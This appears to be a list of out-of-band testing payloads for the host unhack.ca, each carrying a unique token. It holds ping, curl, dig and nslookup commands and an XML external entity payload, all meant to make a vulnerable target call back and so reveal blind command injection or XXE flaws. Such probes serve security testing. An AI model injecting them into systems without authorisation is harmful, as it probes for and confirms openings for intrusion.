$ ping -c1 -p 00456710bd4d991334a72d1283825200 unhack.ca
$ curl http://unhack.ca/p/456710bd4d991334a72d12838252
$ dig 456710bd4d991334a72d12838252 @unhack.ca
$ dig 456710bd4d991334a72d12838252.ns.unhack.ca
C:\> nslookup 456710bd4d991334a72d12838252 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/456710bd4d991334a72d12838252">]> <foo>&xxe;</foo>